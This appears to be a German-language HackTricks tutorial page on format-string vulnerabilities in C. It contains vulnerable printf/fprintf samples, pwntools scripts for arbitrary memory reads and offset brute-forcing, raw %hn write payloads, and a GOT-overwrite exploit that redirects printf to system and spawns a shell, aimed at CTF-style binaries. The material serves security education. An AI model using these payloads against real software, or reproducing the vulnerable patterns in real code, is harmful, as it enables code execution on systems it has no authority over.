mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
217 lines
9.9 KiB
Markdown
217 lines
9.9 KiB
Markdown
# Format Strings
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|
|
|
|
|
|
## Grundlegende Informationen
|
|
|
|
In C **`printf`** ist eine Funktion, die verwendet werden kann, um **einen String auszugeben**. Der **erste Parameter**, den diese Funktion erwartet, ist der **rohe Text mit den Formatierern**. Die **folgenden Parameter**, die erwartet werden, sind die **Werte**, um die **Formatierer** aus dem rohen Text zu **ersetzen**.
|
|
|
|
Andere anfällige Funktionen sind **`sprintf()`** und **`fprintf()`**.
|
|
|
|
Die Verwundbarkeit tritt auf, wenn ein **Angreifertext als erstes Argument** an diese Funktion übergeben wird. Der Angreifer kann eine **spezielle Eingabe erstellen, die** die **printf-Format**-String-Fähigkeiten ausnutzt, um **beliebige Daten an beliebiger Adresse (lesbar/schreibbar)** zu lesen und **zu schreiben**. Dadurch ist es möglich, **willkürlichen Code auszuführen**.
|
|
|
|
#### Formatierer:
|
|
```bash
|
|
%08x —> 8 hex bytes
|
|
%d —> Entire
|
|
%u —> Unsigned
|
|
%s —> String
|
|
%p —> Pointer
|
|
%n —> Number of written bytes
|
|
%hn —> Occupies 2 bytes instead of 4
|
|
<n>$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3
|
|
```
|
|
**Beispiele:**
|
|
|
|
- Verwundbares Beispiel:
|
|
```c
|
|
char buffer[30];
|
|
gets(buffer); // Dangerous: takes user input without restrictions.
|
|
printf(buffer); // If buffer contains "%x", it reads from the stack.
|
|
```
|
|
- Normaler Gebrauch:
|
|
```c
|
|
int value = 1205;
|
|
printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5
|
|
```
|
|
- Mit fehlenden Argumenten:
|
|
```c
|
|
printf("%x %x %x", value); // Unexpected output: reads random values from the stack.
|
|
```
|
|
- fprintf anfällig:
|
|
```c
|
|
#include <stdio.h>
|
|
|
|
int main(int argc, char *argv[]) {
|
|
char *user_input;
|
|
user_input = argv[1];
|
|
FILE *output_file = fopen("output.txt", "w");
|
|
fprintf(output_file, user_input); // The user input can include formatters!
|
|
fclose(output_file);
|
|
return 0;
|
|
}
|
|
```
|
|
### **Zugriff auf Zeiger**
|
|
|
|
Das Format **`%<n>$x`**, wobei `n` eine Zahl ist, ermöglicht es, printf anzuzeigen, den n-ten Parameter (vom Stack) auszuwählen. Wenn Sie also den 4. Parameter vom Stack mit printf lesen möchten, könnten Sie Folgendes tun:
|
|
```c
|
|
printf("%x %x %x %x")
|
|
```
|
|
und Sie würden vom ersten bis zum vierten Parameter lesen.
|
|
|
|
Oder Sie könnten Folgendes tun:
|
|
```c
|
|
printf("%4$x")
|
|
```
|
|
und direkt das vierte lesen.
|
|
|
|
Beachten Sie, dass der Angreifer den `printf` **Parameter kontrolliert, was im Grunde bedeutet, dass** seine Eingabe im Stack sein wird, wenn `printf` aufgerufen wird, was bedeutet, dass er spezifische Speicheradressen im Stack schreiben könnte.
|
|
|
|
> [!CAUTION]
|
|
> Ein Angreifer, der diese Eingabe kontrolliert, wird in der Lage sein, **willkürliche Adressen im Stack hinzuzufügen und `printf` dazu zu bringen, auf sie zuzugreifen**. Im nächsten Abschnitt wird erklärt, wie man dieses Verhalten nutzt.
|
|
|
|
## **Willkürliches Lesen**
|
|
|
|
Es ist möglich, den Formatter **`%n$s`** zu verwenden, um **`printf`** die **Adresse** an der **n Position** zu entnehmen, die ihm folgt, und **sie so zu drucken, als wäre es eine Zeichenkette** (drucken bis ein 0x00 gefunden wird). Wenn die Basisadresse des Binaries **`0x8048000`** ist und wir wissen, dass die Benutzereingabe an der 4. Position im Stack beginnt, ist es möglich, den Anfang des Binaries mit:
|
|
```python
|
|
from pwn import *
|
|
|
|
p = process('./bin')
|
|
|
|
payload = b'%6$s' #4th param
|
|
payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input)
|
|
payload += p32(0x8048000) #6th param
|
|
|
|
p.sendline(payload)
|
|
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
|
```
|
|
> [!CAUTION]
|
|
> Beachten Sie, dass Sie die Adresse 0x8048000 nicht am Anfang der Eingabe setzen können, da der String am Ende dieser Adresse bei 0x00 abgeschnitten wird.
|
|
|
|
### Offset finden
|
|
|
|
Um den Offset zu Ihrer Eingabe zu finden, könnten Sie 4 oder 8 Bytes (`0x41414141`) senden, gefolgt von **`%1$x`** und den Wert **erhöhen**, bis Sie die `A's` erhalten.
|
|
|
|
<details>
|
|
|
|
<summary>Brute Force printf-Offset</summary>
|
|
```python
|
|
# Code from https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak
|
|
|
|
from pwn import *
|
|
|
|
# Iterate over a range of integers
|
|
for i in range(10):
|
|
# Construct a payload that includes the current integer as offset
|
|
payload = f"AAAA%{i}$x".encode()
|
|
|
|
# Start a new process of the "chall" binary
|
|
p = process("./chall")
|
|
|
|
# Send the payload to the process
|
|
p.sendline(payload)
|
|
|
|
# Read and store the output of the process
|
|
output = p.clean()
|
|
|
|
# Check if the string "41414141" (hexadecimal representation of "AAAA") is in the output
|
|
if b"41414141" in output:
|
|
# If the string is found, log the success message and break out of the loop
|
|
log.success(f"User input is at offset : {i}")
|
|
break
|
|
|
|
# Close the process
|
|
p.close()
|
|
```
|
|
</details>
|
|
|
|
### Wie nützlich
|
|
|
|
Arbitrary Reads können nützlich sein, um:
|
|
|
|
- **Den** **Binary** aus dem Speicher zu **dumpen**
|
|
- **Zugriff auf spezifische Teile des Speichers zu erhalten, wo sensible** **Infos** gespeichert sind (wie Canaries, Verschlüsselungsschlüssel oder benutzerdefinierte Passwörter wie in dieser [**CTF-Herausforderung**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
|
|
|
## **Arbitrary Write**
|
|
|
|
Der Formatter **`%<num>$n`** **schreibt** die **Anzahl der geschriebenen Bytes** in die **angegebene Adresse** im \<num> Parameter im Stack. Wenn ein Angreifer so viele Zeichen schreiben kann, wie er möchte, wird er in der Lage sein, **`%<num>$n`** eine beliebige Zahl an einer beliebigen Adresse schreiben zu lassen.
|
|
|
|
Glücklicherweise ist es nicht nötig, 9999 "A"s zur Eingabe hinzuzufügen, um die Zahl 9999 zu schreiben. Um dies zu tun, ist es möglich, den Formatter **`%.<num-write>%<num>$n`** zu verwenden, um die Zahl **`<num-write>`** in die **Adresse zu schreiben, die durch die `num` Position** angezeigt wird.
|
|
```bash
|
|
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
|
AAAA.%500\$08x —> Param at offset 500
|
|
```
|
|
Beachten Sie jedoch, dass normalerweise, um eine Adresse wie `0x08049724` (was eine RIESIGE Zahl ist, die man auf einmal schreiben muss) zu schreiben, **`$hn`** anstelle von **`$n`** verwendet wird. Dies ermöglicht es, **nur 2 Bytes** zu schreiben. Daher wird dieser Vorgang zweimal durchgeführt, einmal für die höchsten 2B der Adresse und ein weiteres Mal für die niedrigeren.
|
|
|
|
Daher ermöglicht diese Schwachstelle, **alles an jede Adresse zu schreiben (willkürliches Schreiben).**
|
|
|
|
In diesem Beispiel wird das Ziel sein, die **Adresse** einer **Funktion** in der **GOT**-Tabelle zu **überschreiben**, die später aufgerufen wird. Obwohl dies andere Techniken des willkürlichen Schreibens zur Ausführung missbrauchen könnte:
|
|
|
|
{{#ref}}
|
|
../arbitrary-write-2-exec/
|
|
{{#endref}}
|
|
|
|
Wir werden eine **Funktion** **überschreiben**, die ihre **Argumente** vom **Benutzer** **erhält** und sie auf die **`system`** **Funktion** **zeigt**.\
|
|
Wie bereits erwähnt, sind normalerweise 2 Schritte erforderlich, um die Adresse zu schreiben: Zuerst **schreibt man 2 Bytes** der Adresse und dann die anderen 2. Dazu wird **`$hn`** verwendet.
|
|
|
|
- **HOB** wird auf die 2 höheren Bytes der Adresse aufgerufen
|
|
- **LOB** wird auf die 2 niedrigeren Bytes der Adresse aufgerufen
|
|
|
|
Dann, aufgrund der Funktionsweise von Format-Strings, müssen Sie **zuerst das kleinste** von \[HOB, LOB] schreiben und dann das andere.
|
|
|
|
Wenn HOB < LOB\
|
|
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
|
|
|
Wenn HOB > LOB\
|
|
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
|
|
|
|
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
|
|
```bash
|
|
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
|
|
```
|
|
### Pwntools-Vorlage
|
|
|
|
Sie finden eine **Vorlage**, um einen Exploit für diese Art von Schwachstelle vorzubereiten in:
|
|
|
|
{{#ref}}
|
|
format-strings-template.md
|
|
{{#endref}}
|
|
|
|
Oder dieses grundlegende Beispiel von [**hier**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./got_overwrite-32')
|
|
libc = elf.libc
|
|
libc.address = 0xf7dc2000 # ASLR disabled
|
|
|
|
p = process()
|
|
|
|
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
|
|
p.sendline(payload)
|
|
|
|
p.clean()
|
|
|
|
p.sendline('/bin/sh')
|
|
|
|
p.interactive()
|
|
```
|
|
## Format-Strings zu BOF
|
|
|
|
Es ist möglich, die Schreibaktionen einer Format-String-Sicherheitsanfälligkeit auszunutzen, um **in Adressen des Stacks zu schreiben** und eine **Buffer Overflow**-Art von Sicherheitsanfälligkeit auszunutzen.
|
|
|
|
## Weitere Beispiele & Referenzen
|
|
|
|
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
|
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
|
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
|
|
- 32 Bit, kein relro, kein canary, nx, kein pie, grundlegende Verwendung von Format-Strings, um das Flag vom Stack zu leaken (keine Notwendigkeit, den Ausführungsfluss zu ändern)
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
|
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um die Adresse `fflush` mit der Win-Funktion (ret2win) zu überschreiben
|
|
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
|
- 32 Bit, relro, kein canary, nx, kein pie, Format-String, um eine Adresse innerhalb von main in `.fini_array` zu schreiben (damit der Fluss ein weiteres Mal zurückschleift) und die Adresse zu `system` in der GOT-Tabelle zu schreiben, die auf `strlen` zeigt. Wenn der Fluss zurück zu main geht, wird `strlen` mit Benutzereingaben ausgeführt und zeigt auf `system`, es werden die übergebenen Befehle ausgeführt.
|
|
|
|
{{#include ../../banners/hacktricks-training.md}}
|